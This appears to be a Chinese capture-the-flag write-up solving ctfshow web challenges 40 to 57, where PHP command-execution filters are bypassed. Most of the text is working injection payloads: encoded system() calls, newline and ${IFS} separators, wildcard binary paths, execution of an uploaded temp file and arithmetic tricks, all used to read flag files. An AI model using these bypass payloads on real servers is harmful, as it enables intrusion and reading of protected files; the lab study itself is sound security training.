web40
过滤了很多符号,是无参数命令执行,先构造?c=print_r(scandir(pos(localeconv())));找到当前目录文件
flag.php在倒数第二个,
然后构造?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
web41
过滤了数字,字母和一些符号,但是没有过滤 | ,通过php脚本列出没有被过滤的字符的运算情况
通过这个链接ctfshow web入门 web41_ctfshow web41-CSDN博客的第一个脚本得到
构造system('cat flag.php')=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%00%10%08%10"|"%60%60%60%20%60%60%60%60%2e%60%60%60")
要将GET改为POST,加上一个请求头,末尾加上参数c的值
参考CTFshow web入门 web29-------web56 命令执行wp_ctfshow web29-CSDN博客
web42
先看一下>/dev/null 2>&1的解释
>/dev/null 2>&1 整体的作用是将命令的标准输出和标准错误输出都重定向到/dev/null,从而丢弃命令执行的所有输出信息,使得命令执行时不会在终端产生任何可见的输出。
所以我们要让后面那个重定向不能执行下去,构造?c=cat flag.php; 用 ; 把命令隔断
参考CTFshow web入门 web41~web55 命令执行_ctfshow web41-CSDN博客
查看源码
web43
过滤了cat和;
构造?c=tac flag.php%0a
web44
多过滤了flag,构造?c=tac fl*.php%0a
web45
多过滤了空格,构造?c=tac%09fl*.php%0a
web46
多过滤了数字,$,*,构造?c=tac%09fla\g.php%0a
web47
多过滤了more,less,head,sort,tail,还是?c=tac%09fla\g.php%0a
web48
多过滤了sed,cut,awk,strings,od,curl,`,还是?c=tac%09fla\g.php%0a
web49
过滤了%,还是?c=tac%09fla\g.php%0a
web50
多过滤了\x09,\x26,即%09(tab键)和%26(&),构造?c=tac
web51
多过滤了tac,构造?c=nl
web52
多过滤了<,>,用${IFS},构造?c=nl${IFS}fla\g.php%0a
web53
看下解释
试一下?c=nl${IFS}fla\g.php%0a,可以得到flag
web54
限制加一些特殊符号来绕过,构造?c=/bin/c??${IFS}???????? /bin/c??
表示 /bin
目录下以 c
开头且后面紧跟两个任意字符的命令
这个参考CTFshow web入门 web41~web55 命令执行_ctfshow web41-CSDN博客,还有另外两种方法也在里面
web55
考察无字母rce,过滤了;,[a-z],`,%,\x09,\x26,>,<,
方法一:没有过滤数字,构造?c=/???/????64 ????.???
解码
方法二:用/usr/bin/bzip2 对文件进行压缩,构造?c=/???/???/????2 ????.???
然后访问/flag.php.bz2得到压缩包访问
方法三:构造一个post上传文件的数据包
这里随便上传一个文件,进行抓包
上传的这个临时文件会保存在 /tmp/ 下,命名为php???,后面是随机的字母,即:/tmp/php??????,6个随机字符可能会出现大写,用匹配符[@-[],
构造?c=.%20/???/????????[@-[]
参考CTFshow web入门 web41~web55 命令执行_ctfshow web41-CSDN博客
web56
多过滤了数字和一些符号,所以只能用55题的第三个方法post上传文件
也是构造?c=.%20/???/????????[@-[],同样用这个脚本
学一下这篇文章,其实我也很多看不懂无字母数字webshell之提高篇 | 离别歌
web57
过滤了数字,字母还有?和%,可以看到flag在36.php里面,.php已经在system里面了,只需要构造数字36,
在linux中
$(())==0
$((~ $(()) ))==-1
$((~$(())))$((~$(())))==-1-1
$(($((~$(())))$((~$(())))))==-2
所以-37就是37个$(( ~$(())))外面再加一个$(())
$(( $(( ~$(()) ))$(( ~$(()) ))$(( ~$(()) ))$(( ~$(()) ))$(( ~$(()) ))$(( ~$(()) ))$(( ~$(()) ))$(( ~$(()) ))$(( ~$(()) ))$(( ~$(()) ))$(( ~$(()) ))$(( ~$(()) ))$(( ~$(()) ))$(( ~$(()) ))$(( ~$(()) ))$(( ~$(()) ))$(( ~$(()) ))$(( ~$(()) ))$(( ~$(()) ))$(( ~$(()) ))$(( ~$(()) ))$(( ~$(()) ))$(( ~$(()) ))$(( ~$(()) ))$(( ~$(()) ))$(( ~$(()) ))$(( ~$(()) ))$(( ~$(()) ))$(( ~$(()) ))$(( ~$(()) ))$(( ~$(()) ))$(( ~$(()) ))$(( ~$(()) ))$(( ~$(()) ))$(( ~$(()) ))$(( ~$(()) ))$(( ~$(()) )) ))
class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}" onclick="hljs.signin(event)">
评论记录:
回复评论: